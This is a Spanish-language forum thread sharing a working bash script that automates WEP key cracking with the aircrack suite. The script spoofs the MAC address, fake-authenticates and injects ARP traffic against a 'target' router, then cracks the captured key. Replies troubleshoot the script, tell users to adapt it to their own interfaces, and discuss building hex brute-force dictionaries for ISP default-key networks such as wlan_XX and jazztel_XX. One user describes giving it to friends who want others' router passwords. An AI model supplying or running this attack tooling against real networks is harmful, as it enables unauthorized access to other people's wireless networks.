Foro de elhacker.net

Seguridad Informática => Hacking Wireless => Mensaje iniciado por: SnakingMax en 10 Febrero 2010, 11:21 am



Título: Script sencillo para hackear claves WEP funcionando.
Publicado por: SnakingMax en 10 Febrero 2010, 11:21 am
Acabo de realizar un script para Hackear las redes wireles como alternativa al airoscript o similares.
El mío es más sencillo, sin llamadas a métodos. Os lo dejo por aquí:

Código
  1. #! /bin/bash
  2. #Script wifihack por snakingmax.
  3. sudo rm -r /tmp/wifihack/
  4. sudo mkdir /tmp/wifihack/
  5.  
  6. # PASO 0 - ACTIVAR EL DRIVER MONITOR:
  7. sudo airmon-ng stop mon0;
  8. sudo airmon-ng start wlan0;
  9.  
  10. # PASO 0.1 - PONERME UNA MAC FALSA. Fabada mola xD
  11. sudo ifconfig mon0 down;
  12. sudo macchanger --mac=00:FA:BA:DA:CA:BE mon0
  13. sudo ifconfig mon0 up;
  14.  
  15. # PASO 1 - LISTAR LAS WIFIS:
  16. xterm -title "Detectando wifis (paralo cuando quieras)." -e sudo airodump-ng mon0 -w "/tmp/wifihack/wifiList";
  17. cat /tmp/wifihack/wifiList-01.kismet.netxml | grep -e 'essid' -e 'BSSID'  -e 'channel' -e 'encryption' > /tmp/wifihack/wifis |
  18. firefox "/tmp/wifihack/wifis";
  19.  
  20. # Un inciso para preguntar:
  21. j="n";
  22. while test $j != "s"
  23. do
  24. clear;
  25. echo Dime el canal del punto de acceso:
  26. read canal
  27. echo Dime la mac del router del objetivo:
  28. read MAC_OBJETIVO
  29. echo Dime el nombre de la wifi del objetivo:
  30. read NOMBRE_AP
  31. echo "¿Estás seguro de que lo has escrito bien (s/n)?"
  32. read j
  33. done
  34. echo Vamos a empezar con el proceso entonces.
  35.  
  36. # PASO 2 - PONER EL AIRODUMP:
  37. xterm -hold  -title "Pinchando la conexión del objetivo" -e sudo airodump-ng -c $canal -w /tmp/wifihack/captura mon0 &
  38.  
  39. # PASO 3 - HACERSE AMIGO DEL ROUTER DEL OBJETIVO:
  40. # e inyectar algo de tráfico cada 5 segundos.
  41. xterm -hold -title "Me estoy haciendo amigo del router del objetivo" -e "for (( i=0; i<=1000; i++ )) do sudo aireplay-ng -1 0 -a $MAC_OBJETIVO -h 00:FA:BA:DA:CA:BE -e $NOMBRE_AP mon0; sleep 5; done" &
  42.  
  43. # PASO 4 - ESNIFAR ROUTER DEL OBJETIVO:
  44. xterm -hold -title "Almacenando los datos de la conexion pinchada" -e sudo aireplay-ng -3 -b $MAC_OBJETIVO -h 00:FA:BA:DA:CA:BE mon0 &
  45.  
  46. # PASO 5 - OBTENER LA CLAVE A PARTIR DE LO QUE ESNIFAMOS:
  47. xterm -hold -title "Pulsa una tecla para intentar crackear" -e "for (( i=0; i<=1000; i++ )) do read a; sudo aircrack-ng -a 1 -s /tmp/wifihack/captura-01.cap; done"
  48.  

Solamente me gustaría que mostrase mejor el archivo: wifiList-01.kismet.netxml
Ese archivo contiene en formato xml la lista de wifis de todos los canales wifi.

Lo que hice es volcar a un archivo usando grep los datos mas interesantes de las wifis que se guardan en bloques que empiezan con el campo <encriptacion> y terminan con el campo <canal>.

Y después abro ese archivo con firefox, si no lo tenéis instalado podéis abrirlo con kate o similares.

Lo interesante sería que el script filtrase también las etiquetas de xml y mostrase los datos algo mas ordenados  :P

Un saludo y gracias a todos por vuestra ayuda.


Título: Re: Script sencillo para hackear claves WEP funcionando.
Publicado por: cayo01 en 11 Febrero 2010, 05:06 am
se nota que eres hacker jaja
oiee me puedes ayudar d un tema
 el tema del deccionario tu sabes algun troco para crear un diccionario
quiero crear un deccionario con 13 digitos hex 0-9 A-F para los redes de wlanXXXXXX y las nuevas wlan_XX y jazztel_XX
y muchas gracias


Título: Re: Script sencillo para hackear claves WEP funcionando.
Publicado por: SnakingMax en 11 Febrero 2010, 09:35 am
numDigitos = 13;
contUnidades = 0;
apuntador = 0;
i = "0000000000000";
while (( i -eq "FFFFFFFFFFFFFFF" )) do
if (test (contUnidadades = 15)&(numDigitos=13)) then
     contUnidades=0;
     numDigitos = 0;

     
     if (apuntador=13)
     #apuntar

cat i > diccionario.txt
done


Título: Re: Script sencillo para hackear claves WEP funcionando.
Publicado por: SnakingMax en 11 Febrero 2010, 09:48 am
Acabo de hacer el código en bash muy rápido y me falta la linea que actualiza la cadena seguro que van cosas mal pero la idea es la que te escribo aqui debajo. Busca un manual de bash.
Despues solo tendrias que concatenar cada linea a la cadena "WLAN":

Código
  1. numDigitos = 13;
  2. contUnidades = 0;
  3. apuntador = 0;
  4. i = "0000000000000";
  5. #Vemos si llegó al final de nuestra cadena de caracteres.
  6. while (( $i -ne "FFFFFFFFFFFFFFF" )) do
  7. if (test ($contUnidades = 15)&($apuntador=13)) then
  8.     contUnidades=0;
  9.     apuntador = 0;
  10. # Vemos si hay que pasar a un dígito de mayor peso
  11. elif($contUnidades=15) then
  12.    apuntador++;
  13. fi;
  14.  
  15. #FALTA HACER ESTO AQUI->>>>Sumamos uno a la posicion i de nuestra cadena
  16.  
  17. #Almacenar
  18. cat i > diccionario.txt
  19. done
  20.  

ChimoC me ha corregido un detalle y yo he corregido las variables que debían llevar $ delante, seguro que hay mas errores pero viendo por un tuto de bash scripting el código lo puedes terminar sin problemas, cualquier duda posteala por aqui pero googlea antes de preguntar.

Un saludo, espero que te sirva


Título: Re: Script sencillo para hackear claves WEP funcionando.
Publicado por: Festor en 11 Febrero 2010, 20:17 pm
Dos cosas:

-> Abusas demasiado del comando sudo... a decir verdad es preferible abrir una sesión "permanente" (hasta que cierres el script) con sudo -s en vez de llamar a cada rato a sudo....

->Para postear código bash o shell en el foro lo mejor es usar las etiquetas code así:

[code=bash]
#! /bin/bash
Pon aquí el código
[/code]

De forma que te quedaría así:

Código
  1. #! /bin/bash
  2. echo Hola mundo!


Título: Re: Script sencillo para hackear claves WEP funcionando.
Publicado por: SnakingMax en 12 Febrero 2010, 00:33 am
ok Festor, no sabía lo de las tags.

1 saludo.


Título: Re: Script sencillo para hackear claves WEP funcionando.
Publicado por: cayo01 en 13 Febrero 2010, 00:22 am
he logrado a acer un script para generar estos diccionario, pero he tenido una problema aver se me puedes ayudar
mi cd es el wifislax 3.1
y formato del archivo d instalacion es ejemplo.c
ps he modificado unas cosas en jazzteldecrypter.c y me genera un diccionario 0000000000000 FFFFFFFFFFFFF pero mi problema es cuando lo pongo en funcion el archivo que genera llega a 2 gigas y se para y dice k no hay espacio
y lo estoi usando pa que lo guarda en disco duro que tiene 160 y puedo guardar muchos d estos archivos pero lo que se ve que tiene un limite de 2 gigas nha mas
aver s sabes algo pa mi problemia


Título: Re: Script sencillo para hackear claves WEP funcionando.
Publicado por: Intrance en 13 Febrero 2010, 23:36 pm
como lo hago funcionar?? gracias   :-\


Título: Re: Script sencillo para hackear claves WEP funcionando.
Publicado por: SnakingMax en 16 Febrero 2010, 23:31 pm
Pues lo que puedes hacer es en vez de 1 diccionario 4 distintos o los que sean y luego ya los unes desde fuera del CD. Así trabajas con menos de 2 gigas.

Me refiero a que puedes hacer varios bucles en tu script. Por ejemplo:
000.dic -> desde 000000000 hasta FFFFFFFFFFFFF/4
001.dic -> desde FFFFFFFFFFFFF/4 hasta FFFFFFFFFFFFF/2
002.dic -> desde FFFFFFFFFFFFF/2 hasta FFFFFFFFFFFFF/3
003.dic -> desde FFFFFFFFFFFFF/3 hasta FFFFFFFFFFFFF
Serían 4 partes de un diccionario gigante.
Si no tienes Linux instalado y el Cd no trabaja con mas de 2 gigas en windows desde la consola creo que con type puedes concatenarlos, sino con una version vieja del hacha de esas que no añadian porquería a las partes de los archivos.

Un saludo  ;)


Título: Re: Script sencillo para hackear claves WEP funcionando.
Publicado por: cayo01 en 17 Febrero 2010, 01:58 am
Pues lo que puedes hacer es en vez de 1 diccionario 4 distintos o los que sean y luego ya los unes desde fuera del CD. Así trabajas con menos de 2 gigas.

Me refiero a que puedes hacer varios bucles en tu script. Por ejemplo:
000.dic -> desde 000000000 hasta FFFFFFFFFFFFF/4
001.dic -> desde FFFFFFFFFFFFF/4 hasta FFFFFFFFFFFFF/2
002.dic -> desde FFFFFFFFFFFFF/2 hasta FFFFFFFFFFFFF/3
003.dic -> desde FFFFFFFFFFFFF/3 hasta FFFFFFFFFFFFF
Serían 4 partes de un diccionario gigante.
Si no tienes Linux instalado y el Cd no trabaja con mas de 2 gigas en windows desde la consola creo que con type puedes concatenarlos, sino con una version vieja del hacha de esas que no añadian porquería a las partes de los archivos.

Un saludo  ;)
[/quo
esk nose que ago cn ese script
es para linux o windows???
el sistema k m interesa es en linux pake funciona cmo el wlandecrypter.c o jazzteldecrypter.c


Título: Re: Script sencillo para hackear claves WEP funcionando.
Publicado por: rambalita en 19 Marzo 2010, 17:01 pm
los felicito son buenos en esto  ;-)


Título: Re: Script sencillo para hackear claves WEP funcionando.
Publicado por: .... en 21 Marzo 2010, 01:20 am
El script no esta mal , pero hombre , no engañes al personal  :xD  :xD

Observen:

xterm -hold -title "Almacenando los datos de la conexion pinchada" -e sudo aireplay-ng -3 -b $MAC_OBJETIVO -h 00:FA:BA:DA:CA:BE mon0 &

Hombre de dios , de toda la vida:

aireplay-ng -3 : Lo unico que hace es injeccion por arps contra el router , es un ataque hablando a las claras contra el router .

Y claro el texto como que no es muy fidedigno xDDDDDD


Título: Re: Script sencillo para hackear claves WEP funcionando.
Publicado por: sclub en 21 Marzo 2010, 02:02 am
Está bastante currado el script, lo probaré un rato de estos aver como me va. Un inciso, aquí:
Citar
# PASO 0.1 - PONERME UNA MAC FALSA. Fabada mola xD
sudo ifconfig mon0 down;
sudo macchanger --mac=00:FA:BA:DA:CA:BE mon0
Después de cambiar la MAC no deberias alzar otra vez la interfaz? Sino después podria dar problemas... está apagada.

Saludos y gracias por compartir!! :)


Título: Re: Script sencillo para hackear claves WEP funcionando.
Publicado por: SnakingMax en 22 Marzo 2010, 00:32 am
Está bastante currado el script, lo probaré un rato de estos aver como me va. Un inciso, aquí:
Citar
# PASO 0.1 - PONERME UNA MAC FALSA. Fabada mola xD
sudo ifconfig mon0 down;
sudo macchanger --mac=00:FA:BA:DA:CA:BE mon0
Después de cambiar la MAC no deberias alzar otra vez la interfaz? Sino después podria dar problemas... está apagada.

Saludos y gracias por compartir!! :)

buena observación. Hay que levantar otra vez la interfaz.


Título: Re: Script sencillo para hackear claves WEP funcionando.
Publicado por: SnakingMax en 22 Abril 2010, 21:52 pm
El script no esta mal , pero hombre , no engañes al personal  :xD  :xD

Observen:

xterm -hold -title "Almacenando los datos de la conexion pinchada" -e sudo aireplay-ng -3 -b $MAC_OBJETIVO -h 00:FA:BA:DA:CA:BE mon0 &

Hombre de dios , de toda la vida:

aireplay-ng -3 : Lo unico que hace es injeccion por arps contra el router , es un ataque hablando a las claras contra el router .

Y claro el texto como que no es muy fidedigno xDDDDDD


Tienes razón xD, no tiene que ver el texto con lo que hacen esas líneas. Donde vuelco los datos a un archivo realmente es en:
# PASO 1 - LISTAR LAS WIFIS
Espero que os haya gustado el script.


Título: Re: Script sencillo para hackear claves WEP funcionando.
Publicado por: chewarrior en 27 Abril 2010, 21:38 pm
Citar
ola, soy nuevo en el uso de backtrack3 para conseguir claves WEP, por lo que por el momento estoy a cero... hace poco estoy intentando a aprender a hacer esto, y consegui lograrlo con lo un script que anda por varios sitios:


ummm y porque no lo haces manualmente y asi conoceras el proceso, despues cuando ya sepas como se hace esta bien que utlilizes scripts, pero primero lo que hay que hacer es aprender para poder interpretar lo que estes haciendo.

Citar
pc pero esta tenia la tarjeta en eth1 (ese script solo funciona cuando la tarjeta esta en ath0)

as provado a modificar ese script, simplemente cambiandolo por el nombre de la trajeta wifi que estas utilizando


Título: Re: Script sencillo para hackear claves WEP funcionando.
Publicado por: SnakingMax en 28 Abril 2010, 08:44 am
Hola, soy nuevo en el uso de backtrack3 para conseguir claves WEP, por lo que por el momento estoy a cero... hace poco estoy intentando a aprender a hacer esto, y consegui lograrlo con lo un script que anda por varios sitios:
ese juanaco way, pero resulta que trate de correrlo en otra pc pero esta tenia la tarjeta en eth1 (ese script solo funciona cuando la tarjeta esta en ath0) por lo que no me funcionó, quisiera saber si tu tienes algunos scripts. sh o conoces algun sitio de donde los pueda bajar, que se puedan correr con facilidad en RUN COMMAND donde puedas elegir la tarjeta que poseo en la pc... porque tambien intente correr es script de RUSSIX (que tiene esa opcion) pero nisiquiera pude abrir el programa... de antemano te agradezco mucho tu valiosa colaboracion  ;-)

Mi script utiliza el siguiente software que debe estar instalado:
– aireplay-ng
– aircrack-ptw
– airmon-ng
– airodump-ng
También debes disponer de la siguiente terminal:
– xterm
Y opcionalmente para utilizar una mac falsa:
– macchanger

Qué debes modificar del script y cómo:

Código:
# PASO 0 - ACTIVAR EL DRIVER MONITOR:
sudo killall wicd → esto mata mi gestor wifi (que es el wicd) para que no interfiera.
sudo airmon-ng stop mon0;
sudo airmon-ng stop wlan0; → cambia “wlan0” por tu interfaz wifi, busca la tuya con ifconfig.
sudo airmon-ng start wlan0; → cambia “wlan0” por tu interfaz wifi, busca la tuya con ifconfig.

# PASO 0.1 - PONERME UNA MAC FALSA. Fabada cabe mola xD
#sudo ifconfig mon0 down;→ quita el “#” de esta linea para activar el modo mac falsa
#sudo macchanger --mac=00:FA:BA:DA:CA:BE mon0→ quita el “#” de esta linea para activar el modo mac falsa
#sudo ifconfig mon0 up;→ quita el “#” de esta linea para activar el modo mac falsa
Ten en cuenta que si quitas el # cuando hablemos de la mac de tu ordenador hablaremos de esta tan simpática:
00:FA:BA:DA:CA:BE
# PASO 0 - ACTIVAR EL DRIVER MONITOR:
Aquí de nuevo se repite el “PASO 0” así que lo modificamos como ya lo hemos hecho anteriormente.

MODIFICAR EL RESTO DEL SCRIPT, PRIMERO:
Yo cuando escribo en la consola:
sudo airmon-ng start wlan0
Me dice que la interfaz se pone en modo monitor en mon0.
Para vosotros eso puede variar. Con lo cuál debéis escribir en vuestra consola:
sudo airmon-ng start TU_INTERFAZ_WIFI
*NOTA: TU_INTERFAZ_WIFI la puedes saber escribiendo en la consola: ifconfig
“sudo airmon-ng start TU_INTERFAZWIFI” te dirá cuál es la interfaz en modo monitor por lo que deberás
cambiar en todo el script que hice mon0 por la tuya.

MODIFICAR EL RESTO DEL SCRIPT, SEGUNDO:
Solo queda que pongas tu mac en el script modificando los dos sitios donde dice AQUI_VA_TU_MAC por la
mac de tu ordenador.
Para saber cuál es tu mac escribe en la consola: ifconfig
Si has activado en el script el modo mac falsa recuerda como ya te he comentado anteriormente que tu mac es:
FA:BA:DA:MO:LA

POR ÚLTIMO:
Guarda el script en /bin/wifihack

Creo que llega con eso y que no me he colado en ningún sitio.
Un saludo, espero que les sirva a todos los que quieran modificarlo


Título: Re: Script sencillo para hackear claves WEP funcionando.
Publicado por: dazoverride en 29 Abril 2010, 22:20 pm
Me encanta la sencillez de tu programa y lo que hace.

Como una cosa tan sencilla y pequeña puede lograr algo tan grande? XD

Por cierto solo añadir una cosa, que tanto bendecirte el programa y aun no lo e probado, mmm que tal si le añadimos un plugin XD creo que le sentaria bien el wlandecripter. En cuanto lo pruebe mirare haber si me aclaro para añadirle el wlandecripter y te lo envio x aqui.

Ostia! que mañana tengo examen de linux XD 

Saludos! 


Título: Re: Script sencillo para hackear claves WEP funcionando.
Publicado por: SnakingMax en 12 Mayo 2010, 23:07 pm
Me encanta la sencillez de tu programa y lo que hace.

Como una cosa tan sencilla y pequeña puede lograr algo tan grande? XD

Por cierto solo añadir una cosa, que tanto bendecirte el programa y aun no lo e probado, mmm que tal si le añadimos un plugin XD creo que le sentaria bien el wlandecripter. En cuanto lo pruebe mirare haber si me aclaro para añadirle el wlandecripter y te lo envio x aqui.

Ostia! que mañana tengo examen de linux XD 

Saludos! 

Muchas gracias dazoverride, Si alguien puede probarlo y postear como le fue sería mas que interesante.
Lo de los plugins estaría mas que bien algo como:
./plugins/MiPlugin/
Donde dentro de la Carpeta MiPlugin estuviesen dos archivos:
Leeme.txt -> que contiene como se modifica el script para llamar al plugin.
MiPlugin.sh -> que es el plugin propiamente dicho el cual será llamado desde el script.

Sería interesante tambien un plugin que interpretase las tags en xml, seguramente a alguien se le ocurra algo con la instrucción grep...

Saludos y gracias a todos por vuestra colaboración.


Título: Re: Script sencillo para hackear claves WEP funcionando.
Publicado por: dazoverride en 13 Mayo 2010, 16:01 pm
Muchas gracias dazoverride, Si alguien puede probarlo y postear como le fue sería mas que interesante.

Bueno a mi me funciono correctamente solo tuve que cambiar el aircrack-ptw por aircrack-ng. Luego algunos fallos como que no desconecta el modo monitor. Pero vamos llamalo version 0.1 y apañaos XD. A mi me va de lujo para los pesaos de los colegas que estan sacame la contraseña de este router y del otro... les doy el progrma este y que se apañen XD porque realmente yo prefiero hacerlo manualmente XD

Intente insertarle el wlandecripter pero no me acabe de aclarar con el lenguaje XD de todas formas algun dia puede que mande el programita mejorado por mi por privado y haber que te parece. Solo tengo que ponerme un poco al dia con los scripts.

pd: lo tengo bien guardadito en el disco XD

SALUDOS!


Título: Re: Script sencillo para hackear claves WEP funcionando.
Publicado por: yodaxdj en 16 Mayo 2010, 18:20 pm
 :D hola a todos, me presento soy nuevo en linux (ubuntu 10.4) y más nuevo en redes, es por eso mis preguntas que quizás les parezca de novatos. -este script en que sistema operativo funciona? -como lo ejecuto, lo copio y lo guardo en editor de textos gedit? o se usa en la terminal comando por comando?
la ultima funcionara en esta tarjeta wi? --> tl-wn350gd   ver.1.0
ah y excelente trabajo y dedicación con el script.


Título: Re: Script sencillo para hackear claves WEP funcionando.
Publicado por: Festor en 16 Mayo 2010, 18:33 pm
-este script en que sistema operativo funciona?

En cualquiera que tenga un interprete bash y los comandos/programas que utiliza el script.

Es decir, casi cualquier distribución Linux actual (incluida Ubuntu).

-como lo ejecuto, lo copio y lo guardo en editor de textos gedit? o se usa en la terminal comando por comando?

A ver... el fin de un script es precisamente ahorrarse el trabajo de ir comando por comando... xD

la ultima funcionara en esta tarjeta wi? --> tl-wn350gd ver.1.0

Eso depende del chipset que use, siempre depende del chipset (el "núcleo" o "procesador" de la tarjeta wifi)....

Y para ver el chipset la mejor forma es consultar la salida del lspci


Título: Re: Script sencillo para hackear claves WEP funcionando.
Publicado por: dazoverride en 17 Mayo 2010, 22:45 pm
Mi script utiliza el siguiente software que debe estar instalado:
– aireplay-ng
– aircrack-ptw
– airmon-ng
– airodump-ng
También debes disponer de la siguiente terminal:
– xterm
Y opcionalmente para utilizar una mac falsa:
– macchanger
Creo que seria mejor utilizar el aircrack-ng o dar la opcion de elegir entre aircrack-ng y aircrack-ptw o incluso dar la opcion de instalarlos, tanto aircrack-ng como macchanger

Solo es una idea, esque quizas el programa sea demasiado sencillo, y aora que ya tienes la base deberias dar mas robustez al programa, tales como el fallo de no remover el mon0. Despues de eso siempre puedes darle mas opciones al programa :D

Saludos y suerte con el programita que desde que lo vi me encantó!

Saludos!


Título: Re: Script sencillo para hackear claves WEP funcionando.
Publicado por: SnakingMax en 18 Mayo 2010, 02:09 am
El Script está en fase "muy beta" :-) Lo escribí para no tener que estar introduciendo los comandos cada vez que quisiese testear una red wireless.
En vista del éxito ya corregi lo de levantar la interfaz wifi despues del macchanger y lo modifiqué para que crackee el archivo *.cap con el software aircrack-ng

De todas formas antes de utilizar el script recomiendo una lectura a cualquiera de los tutos en castellano que explican como se utiliza la suite aircrack, de esa manera el script es totalmente legible para cualquiera que sepa como funciona la consola de linux:
http://www.google.es/search?hl=es&q=crack+cracking+wep+wireless+wifi (http://www.google.es/search?hl=es&q=crack+cracking+wep+wireless+wifi)

Unicamente haría falta escribir los siguientes comandos instalar los programas que hacen falta para correr el script:
Código:
sudo apt-get install aircrack-ng
sudo apt-get install macchanger
sudo apt-get install xterm
sudo apt-get install xterm -> Este quizá ya lo tenga instalada tu distro.


Título: Re: Script sencillo para hackear claves WEP funcionando.
Publicado por: zit0 en 8 Mayo 2011, 02:18 am
justamente estaba colgando el codigo de mi script cuando he visto el tuyo xD
felicidades. está muy logrado, el mio es un poco mas humilde pero estaría bien que le exases un ojo ya que estoy empezando en esto del bash y no me vendria mal algun consejo ;)
http://foro.elhacker.net/wireless_en_linux/script_para_claves_wep-t326937.0.html